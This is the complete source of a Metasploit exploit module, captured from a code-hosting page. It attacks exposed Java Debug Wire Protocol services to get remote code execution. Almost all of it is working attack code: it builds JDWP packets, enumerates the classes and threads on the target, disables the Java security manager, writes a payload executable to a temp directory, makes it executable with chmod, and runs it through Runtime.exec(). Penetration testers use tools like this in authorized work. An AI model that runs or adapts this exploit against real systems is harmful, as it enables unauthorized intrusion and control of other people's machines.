Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112HANDSHAKE = "JDWP-Handshake"1314REQUEST_PACKET_TYPE = 0x0015REPLY_PACKET_TYPE = 0x801617# Command signatures18VERSION_SIG = [1, 1]19CLASSESBYSIGNATURE_SIG = [1, 2]20ALLCLASSES_SIG = [1, 3]21ALLTHREADS_SIG = [1, 4]22IDSIZES_SIG = [1, 7]23CREATESTRING_SIG = [1, 11]24SUSPENDVM_SIG = [1, 8]25RESUMEVM_SIG = [1, 9]26SIGNATURE_SIG = [2, 1]27FIELDS_SIG = [2, 4]28METHODS_SIG = [2, 5]29GETVALUES_SIG = [2, 6]30CLASSOBJECT_SIG = [2, 11]31SETSTATICVALUES_SIG = [3, 2]32INVOKESTATICMETHOD_SIG = [3, 3]33CREATENEWINSTANCE_SIG = [3, 4]34ARRAYNEWINSTANCE_SIG = [4, 1]35REFERENCETYPE_SIG = [9, 1]36INVOKEMETHOD_SIG = [9, 6]37STRINGVALUE_SIG = [10, 1]38THREADNAME_SIG = [11, 1]39THREADSUSPEND_SIG = [11, 2]40THREADRESUME_SIG = [11, 3]41THREADSTATUS_SIG = [11, 4]42ARRAYSETVALUES_SIG = [13, 3]43EVENTSET_SIG = [15, 1]44EVENTCLEAR_SIG = [15, 2]45EVENTCLEARALL_SIG = [15, 3]4647# Other codes48MODKIND_COUNT = 149MODKIND_THREADONLY = 250MODKIND_CLASSMATCH = 551MODKIND_LOCATIONONLY = 752MODKIND_STEP = 1053EVENT_BREAKPOINT = 254EVENT_STEP = 155SUSPEND_EVENTTHREAD = 156SUSPEND_ALL = 257NOT_IMPLEMENTED = 9958VM_DEAD = 11259INVOKE_SINGLE_THREADED = 260TAG_OBJECT = 7661TAG_STRING = 11562TYPE_CLASS = 163TAG_ARRAY = 9164TAG_VOID = 8665TAG_THREAD = 11666STEP_INTO = 067STEP_MIN = 068THREAD_SLEEPING_STATUS = 26970def initialize71super(72'Name' => 'Java Debug Wire Protocol Remote Code Execution',73'Description' => %q{74This module abuses exposed Java Debug Wire Protocol services in order75to execute arbitrary Java code remotely. It just abuses the protocol76features, since no authentication is required if the service is enabled.77},78'Author' => [79'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help80'Christophe Alladoum', # JDWP Analysis and Exploit81'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module82],83'References' =>84[85['OSVDB', '96066'],86['EDB', '27179'],87['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],88['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],89['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],90['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],91['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']92],93'Platform' => %w{ linux osx win },94'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],95'Payload' =>96{97'Space' => 10000000,98'BadChars' => '',99'DisableNops' => true100},101'Targets' =>102[103[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],104[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],105[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]106],107'DefaultTarget' => 0,108'License' => MSF_LICENSE,109'DisclosureDate' => 'Mar 12 2010'110)111112register_options(113[114Opt::RPORT(8000),115OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),116OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),117])118119register_advanced_options(120[121OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),122])123end124125def check126connect127res = handshake128disconnect129130if res.nil?131return Exploit::CheckCode::Unknown132elsif res == HANDSHAKE133return Exploit::CheckCode::Appears134end135136Exploit::CheckCode::Safe137end138139140def default_timeout141datastore['RESPONSE_TIMEOUT']142end143144# Establishes handshake with the server145def handshake146sock.put(HANDSHAKE)147return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])148end149150# Forges packet for JDWP protocol151def create_packet(cmdsig, data="")152flags = 0x00153cmdset, cmd = cmdsig154pktlen = data.length + 11155buf = [pktlen, @my_id, flags, cmdset, cmd]156pkt = buf.pack("NNCCC")157pkt << data158@my_id += 2159pkt160end161162# Reads packet response for JDWP protocol163def read_reply(timeout = default_timeout)164length = sock.get_once(4, timeout)165fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length166pkt_len = length.unpack('N')[0]167if pkt_len < 4168fail_with(Failure::Unknown, "#{peer} - Received corrupted response")169end170id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')171if err_code != 0 && flags == REPLY_PACKET_TYPE172fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")173end174175response = ""176while response.length + 11 < pkt_len177partial = sock.get_once(pkt_len, timeout)178fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial179response << partial180end181fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len182response183end184185# Returns the characters contained in the string defined in target VM186def solve_string(data)187sock.put(create_packet(STRINGVALUE_SIG, data))188response = read_reply189return "" unless response190return read_string(response)191end192193# Unpacks received string structure from the server response into a normal string194def read_string(data)195data_len = data.unpack('N')[0]196return data[4,data_len]197end198199# Creates a new string object in the target VM and returns its id200def create_string(data)201buf = build_string(data)202sock.put(create_packet(CREATESTRING_SIG, buf))203buf = read_reply204return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)205end206207# Packs normal string into string structure for target VM208def build_string(data)209ret = [data.length].pack('N')210ret << data211212ret213end214215# Pack Integer for JDWP protocol216def format(fmt, value)217if fmt == "L" || fmt == 8218return [value].pack('Q>')219elsif fmt == "I" || fmt == 4220return [value].pack('N')221end222223fail_with(Failure::Unknown, "Unknown format")224end225226# Unpack Integer from JDWP protocol227def unformat(fmt, value)228if fmt == "L" || fmt == 8229return value[0..7].unpack('Q>')[0]230elsif fmt == "I" || fmt == 4231return value[0..3].unpack('N')[0]232end233234fail_with(Failure::Unknown, "Unknown format")235end236237# Parses given data according to a set of formats238def parse_entries(buf, formats, explicit=true)239entries = []240index = 0241242if explicit243nb_entries = buf.unpack('N')[0]244buf = buf[4..-1]245else246nb_entries = 1247end248249nb_entries.times do |var|250251if var != 0 && var % 1000 == 0252vprint_status("Parsed #{var} classes of #{nb_entries}")253end254255data = {}256257formats.each do |fmt,name|258if fmt == "L" || fmt == 8259data[name] = buf[index, 8].unpack('Q>')[0]260index += 8261elsif fmt == "I" || fmt == 4262data[name] = buf[index, 4].unpack('N')[0]263index += 4264elsif fmt == "S"265data_len = buf[index, 4].unpack('N')[0]266data[name] = buf[index + 4, data_len]267index += 4 + data_len268elsif fmt == "C"269data[name] = buf[index].unpack('C')[0]270index += 1271elsif fmt == "Z"272t = buf[index].unpack('C')[0]273if t == 115274data[name] = solve_string(buf[index + 1, 8])275index += 9276elsif t == 73277data[name], buf = buf[index +1, 4].unpack('NN')278end279else280fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")281end282283end284entries.append(data)285end286287entries288end289290# Gets the sizes of variably-sized data types in the target VM291def get_sizes292formats = [293["I", "fieldid_size"],294["I", "methodid_size"],295["I", "objectid_size"],296["I", "referencetypeid_size"],297["I", "frameid_size"]298]299sock.put(create_packet(IDSIZES_SIG))300response = read_reply301entries = parse_entries(response, formats, false)302entries.each { |e| @vars.merge!(e) }303end304305# Gets the JDWP version implemented by the target VM306def get_version307formats = [308["S", "descr"],309["I", "jdwp_major"],310["I", "jdwp_minor"],311["S", "vm_version"],312["S", "vm_name"]313]314sock.put(create_packet(VERSION_SIG))315response = read_reply316entries = parse_entries(response, formats, false)317entries.each { |e| @vars.merge!(e) }318end319320def version321"#{@vars["vm_name"]} - #{@vars["vm_version"]}"322end323324# Returns reference for all threads currently running on target VM325def get_all_threads326sock.put(create_packet(ALLTHREADS_SIG))327response = read_reply328num_threads = response.unpack('N').first329index = 4330331size = @vars["objectid_size"]332num_threads.times do333t_id = unformat(size, response[index, size])334@threads[t_id] = nil335index += size336end337end338339# Returns reference types for all classes currently loaded by the target VM340def get_all_classes341return unless @classes.empty?342343formats = [344["C", "reftype_tag"],345[@vars["referencetypeid_size"], "reftype_id"],346["S", "signature"],347["I", "status"]348]349sock.put(create_packet(ALLCLASSES_SIG))350response = read_reply351@classes.append(parse_entries(response, formats))352end353354# Checks if specified class is currently loaded by the target VM and returns it355def get_class_by_name(name)356@classes.each do |entry_array|357entry_array.each do |entry|358if entry["signature"].downcase == name.downcase359return entry360end361end362end363364nil365end366367# Returns information for each method in a reference type (ie. object). Inherited methods are not included.368# The list of methods will include constructors (identified with the name "<init>")369def get_methods(reftype_id)370if @methods.has_key?(reftype_id)371return @methods[reftype_id]372end373374formats = [375[@vars["methodid_size"], "method_id"],376["S", "name"],377["S", "signature"],378["I", "mod_bits"]379]380ref_id = format(@vars["referencetypeid_size"],reftype_id)381sock.put(create_packet(METHODS_SIG, ref_id))382response = read_reply383@methods[reftype_id] = parse_entries(response, formats)384end385386# Returns information for each field in a reference type (ie. object)387def get_fields(reftype_id)388formats = [389[@vars["fieldid_size"], "field_id"],390["S", "name"],391["S", "signature"],392["I", "mod_bits"]393]394ref_id = format(@vars["referencetypeid_size"],reftype_id)395sock.put(create_packet(FIELDS_SIG, ref_id))396response = read_reply397fields = parse_entries(response, formats)398399fields400end401402# Returns the value of one static field of the reference type. The field must be member of the reference type403# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;404# for example, the values of private fields can be obtained.405def get_value(reftype_id, field_id)406data = format(@vars["referencetypeid_size"],reftype_id)407data << [1].pack('N')408data << format(@vars["fieldid_size"],field_id)409410sock.put(create_packet(GETVALUES_SIG, data))411response = read_reply412num_values = response.unpack('N')[0]413414unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)415fail_with(Failure::Unknown, "Bad response when getting value for field")416end417418len = @vars["objectid_size"]419value = unformat(len, response[5..-1])420421value422end423424# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,425# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of426# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match427# the field's type exactly. For object values, there must exist a widening reference conversion from the428# value's type to the field's type and the field's type must be loaded.429def set_value(reftype_id, field_id, value)430data = format(@vars["referencetypeid_size"],reftype_id)431data << [1].pack('N')432data << format(@vars["fieldid_size"],field_id)433data << format(@vars["objectid_size"],value)434435sock.put(create_packet(SETSTATICVALUES_SIG, data))436read_reply437end438439440# Checks if specified method is currently loaded by the target VM and returns it441def get_method_by_name(classname, name, signature = nil)442@methods[classname].each do |entry|443if signature.nil?444return entry if entry["name"].downcase == name.downcase445else446if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase447return entry448end449end450end451452nil453end454455# Checks if specified class and method are currently loaded by the target VM and returns them456def get_class_and_method(looked_class, looked_method, signature = nil)457target_class = get_class_by_name(looked_class)458unless target_class459fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")460end461462get_methods(target_class["reftype_id"])463target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)464unless target_method465fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")466end467468return target_class, target_method469end470471# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")472def str_to_fq_class(s)473i = s.rindex(".")474unless i475fail_with(Failure::BadConfig, 'Bad defined break class')476end477478method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string479480classname = 'L'481classname << s[0..i-1].gsub(/[.]/, '/')482classname << ';'483484return classname, method485end486487# Gets the status of a given thread488def thread_status(thread_id)489sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))490buf = read_reply(datastore['BREAK_TIMEOUT'])491unless buf492fail_with(Failure::Unknown, "No network response")493end494status, suspend_status = buf.unpack('NN')495496status497end498499# Resumes execution of the application or thread after the suspend command or an event has stopped it500def resume_vm(thread_id = nil)501if thread_id.nil?502sock.put(create_packet(RESUMEVM_SIG))503else504sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))505end506507response = read_reply(datastore['BREAK_TIMEOUT'])508unless response509fail_with(Failure::Unknown, "No network response")510end511512response513end514515# Suspend execution of the application or thread516def suspend_vm(thread_id = nil)517if thread_id.nil?518sock.put(create_packet(SUSPENDVM_SIG))519else520sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))521end522523response = read_reply524unless response525fail_with(Failure::Unknown, "No network response")526end527528response529end530531# Sets an event request. When the event described by this request occurs, an event is sent from the target VM532def send_event(event_code, args)533data = [event_code].pack('C')534data << [SUSPEND_ALL].pack('C')535data << [args.length].pack('N')536537args.each do |kind,option|538data << [kind].pack('C')539data << option540end541542sock.put(create_packet(EVENTSET_SIG, data))543response = read_reply544unless response545fail_with(Failure::Unknown, "#{peer} - No network response")546end547return response.unpack('N')[0]548end549550# Parses a received event and compares it with the expected551def parse_event(buf, event_id, thread_id)552len = @vars["objectid_size"]553return false if buf.length < 10 + len - 1554555r_id = buf[6..9].unpack('N')[0]556t_id = unformat(len,buf[10..10+len-1])557558return (event_id == r_id) && (thread_id == t_id)559end560561# Clear a defined event request562def clear_event(event_code, r_id)563data = [event_code].pack('C')564data << [r_id].pack('N')565sock.put(create_packet(EVENTCLEAR_SIG, data))566read_reply567end568569# Invokes a static method. The method must be member of the class type or one of its superclasses,570# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private571# methods can be invoked.572def invoke_static(class_id, thread_id, meth_id, args = [])573data = format(@vars["referencetypeid_size"], class_id)574data << format(@vars["objectid_size"], thread_id)575data << format(@vars["methodid_size"], meth_id)576data << [args.length].pack('N')577578args.each do |arg|579data << arg580data << [0].pack('N')581end582583sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))584buf = read_reply585buf586end587588# Invokes a instance method. The method must be member of the object's type or one of its superclasses,589# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods590# can be invoked.591def invoke(obj_id, thread_id, class_id, meth_id, args = [])592data = format(@vars["objectid_size"], obj_id)593data << format(@vars["objectid_size"], thread_id)594data << format(@vars["referencetypeid_size"], class_id)595data << format(@vars["methodid_size"], meth_id)596data << [args.length].pack('N')597598args.each do |arg|599data << arg600data << [0].pack('N')601end602603sock.put(create_packet(INVOKEMETHOD_SIG, data))604buf = read_reply605buf606end607608# Creates a new object of specified class, invoking the specified constructor. The constructor609# method ID must be a member of the class type.610def create_instance(class_id, thread_id, meth_id, args = [])611data = format(@vars["referencetypeid_size"], class_id)612data << format(@vars["objectid_size"], thread_id)613data << format(@vars["methodid_size"], meth_id)614data << [args.length].pack('N')615616args.each do |arg|617data << arg618data << [0].pack('N')619end620621sock.put(create_packet(CREATENEWINSTANCE_SIG, data))622buf = read_reply623buf624end625626# Creates a byte[]627def create_array(len)628target_class = get_class_by_name("[B")629fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?630631type_id = target_class["reftype_id"]632fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?633634data = format(@vars["referencetypeid_size"], type_id)635data << [len].pack('N')636637sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))638buf = read_reply639buf640end641642# Initializes the byte[] with values643def set_values(obj_id, args = [])644data = format(@vars["objectid_size"], obj_id)645data << [0].pack('N')646data << [args.length].pack('N')647648args.each do |arg|649data << [arg].pack('C')650end651652sock.put(create_packet(ARRAYSETVALUES_SIG, data))653read_reply654end655656def temp_path657return nil unless datastore['TMP_PATH']658unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')659fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')660end661datastore['TMP_PATH']662end663664# Configures payload according to targeted architecture665def setup_payload666# 1. Setting up generic values.667payload_exe = rand_text_alphanumeric(4 + rand(4))668pl_exe = generate_payload_exe669670# 2. Setting up arch specific...671case target['Platform']672when 'linux'673path = temp_path || '/tmp/'674payload_exe = "#{path}#{payload_exe}"675when 'osx'676path = temp_path || '/private/tmp/'677payload_exe = "#{path}#{payload_exe}"678when 'win'679path = temp_path || './'680payload_exe = "#{path}#{payload_exe}.exe"681end682683if @os.downcase =~ /target['Platform']/684print_warning("#{@os} system detected but using #{target['Platform']} target...")685end686687return payload_exe, pl_exe688end689690# Invokes java.lang.System.getProperty() for OS fingerprinting purposes691def fingerprint_os(thread_id)692size = @vars["objectid_size"]693694# 1. Creates a string on target VM with the property to be getted695cmd_obj_ids = create_string("os.name")696fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0697cmd_obj_id = cmd_obj_ids[0]["obj_id"]698699# 2. Gets property700data = [TAG_OBJECT].pack('C')701data << format(size, cmd_obj_id)702data_array = [data]703runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")704buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)705fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')706707str = unformat(size, buf[1..1+size-1])708@os = solve_string(format(@vars["objectid_size"],str))709end710711# Creates a file on the server given a execution thread712def create_file(thread_id, filename)713cmd_obj_ids = create_string(filename)714fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0715716cmd_obj_id = cmd_obj_ids[0]["obj_id"]717size = @vars["objectid_size"]718data = [TAG_OBJECT].pack('C')719data << format(size, cmd_obj_id)720data_array = [data]721runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")722buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)723fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')724725file = unformat(size, buf[1..1+size-1])726fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)727728register_files_for_cleanup(filename)729730file731end732733# Stores the payload on a new string created in target VM734def upload_payload(thread_id, pl_exe)735size = @vars["objectid_size"]736737buf = create_array(pl_exe.length)738fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')739740pl = unformat(size, buf[1..1+size-1])741fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)742743set_values(pl, pl_exe.bytes)744pl745end746747# Dumps the payload on a opened server file given a execution thread748def dump_payload(thread_id, file, pl)749size = @vars["objectid_size"]750data = [TAG_OBJECT].pack('C')751data << format(size, pl)752data_array = [data]753runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")754buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)755unless buf[0] == [TAG_VOID].pack('C')756fail_with(Failure::Unknown, "Exception while writing to file")757end758end759760# Closes a file on the server given a execution thread761def close_file(thread_id, file)762runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")763buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])764unless buf[0] == [TAG_VOID].pack('C')765fail_with(Failure::Unknown, "Exception while closing file")766end767end768769# Executes a system command on target VM making use of java.lang.Runtime.exec()770def execute_command(thread_id, cmd)771size = @vars["objectid_size"]772773# 1. Creates a string on target VM with the command to be executed774cmd_obj_ids = create_string(cmd)775if cmd_obj_ids.length == 0776fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")777end778779cmd_obj_id = cmd_obj_ids[0]["obj_id"]780781# 2. Gets Runtime context782runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")783buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])784unless buf[0] == [TAG_OBJECT].pack('C')785fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")786end787788rt = unformat(size, buf[1..1+size-1])789if rt.nil? || (rt == 0)790fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")791end792793# 3. Finds and executes "exec" method supplying the string with the command794exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")795if exec_meth.nil?796fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")797end798799data = [TAG_OBJECT].pack('C')800data << format(size, cmd_obj_id)801data_array = [data]802buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)803unless buf[0] == [TAG_OBJECT].pack('C')804fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")805end806end807808# Set event for stepping into a running thread809def set_step_event810# 1. Select a thread in sleeping status811t_id = nil812@threads.each_key do |thread|813if thread_status(thread) == THREAD_SLEEPING_STATUS814t_id = thread815break816end817end818fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?819820# 2. Suspend the VM before setting the event821suspend_vm822823vprint_status("Setting 'step into' event in thread: #{t_id}")824step_info = format(@vars["objectid_size"], t_id)825step_info << [STEP_MIN].pack('N')826step_info << [STEP_INTO].pack('N')827data = [[MODKIND_STEP, step_info]]828829r_id = send_event(EVENT_STEP, data)830unless r_id831fail_with(Failure::Unknown, "Could not set the event")832end833834return r_id, t_id835end836837# Disables security manager if it's set on target JVM838def disable_sec_manager839sys_class = get_class_by_name("Ljava/lang/System;")840841fields = get_fields(sys_class["reftype_id"])842843sec_field = nil844845fields.each do |field|846sec_field = field["field_id"] if field["name"].downcase == "security"847end848849fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?850851value = get_value(sys_class["reftype_id"], sec_field)852853if(value == 0)854print_good("Security manager was not set")855else856set_value(sys_class["reftype_id"], sec_field, 0)857if get_value(sys_class["reftype_id"], sec_field) == 0858print_good("Security manager has been disabled")859else860print_good("Security manager has not been disabled, trying anyway...")861end862end863end864865# Uploads & executes the payload on the target VM866def exec_payload(thread_id)867# 0. Fingerprinting OS868fingerprint_os(thread_id)869870vprint_status("Executing payload on \"#{@os}\", target version: #{version}")871872# 1. Prepares the payload873payload_exe, pl_exe = setup_payload874875# 2. Creates file on server for dumping payload876file = create_file(thread_id, payload_exe)877878# 3. Uploads payload to the server879pl = upload_payload(thread_id, pl_exe)880881# 4. Dumps uploaded payload into file on the server882dump_payload(thread_id, file, pl)883884# 5. Closes the file on the server885close_file(thread_id, file)886887# 5b. When linux arch, give execution permissions to file888if target['Platform'] == 'linux' || target['Platform'] == 'osx'889cmd = "chmod +x #{payload_exe}"890execute_command(thread_id, cmd)891end892893# 6. Executes the dumped payload894cmd = "#{payload_exe}"895execute_command(thread_id, cmd)896end897898899def exploit900@my_id = 0x01901@vars = {}902@classes = []903@methods = {}904@threads = {}905@os = nil906907connect908909unless handshake == HANDSHAKE910fail_with(Failure::NotVulnerable, "JDWP Protocol not found")911end912913print_status("Retrieving the sizes of variable sized data types in the target VM...")914get_sizes915916print_status("Getting the version of the target VM...")917get_version918919print_status("Getting all currently loaded classes by the target VM...")920get_all_classes921922print_status("Getting all running threads in the target VM...")923get_all_threads924925print_status("Setting 'step into' event...")926r_id, t_id = set_step_event927928print_status("Resuming VM and waiting for an event...")929response = resume_vm930931unless parse_event(response, r_id, t_id)932datastore['NUM_RETRIES'].times do |i|933print_status("Received #{i + 1} responses that are not a 'step into' event...")934buf = read_reply935break if parse_event(buf, r_id, t_id)936937if i == datastore['NUM_RETRIES']938fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")939end940end941end942943vprint_status("Received matching event from thread #{t_id}")944print_status("Deleting step event...")945clear_event(EVENT_STEP, r_id)946947print_status("Disabling security manager if set...")948disable_sec_manager949950print_status("Dropping and executing payload...")951exec_payload(t_id)952953disconnect954end955end956957958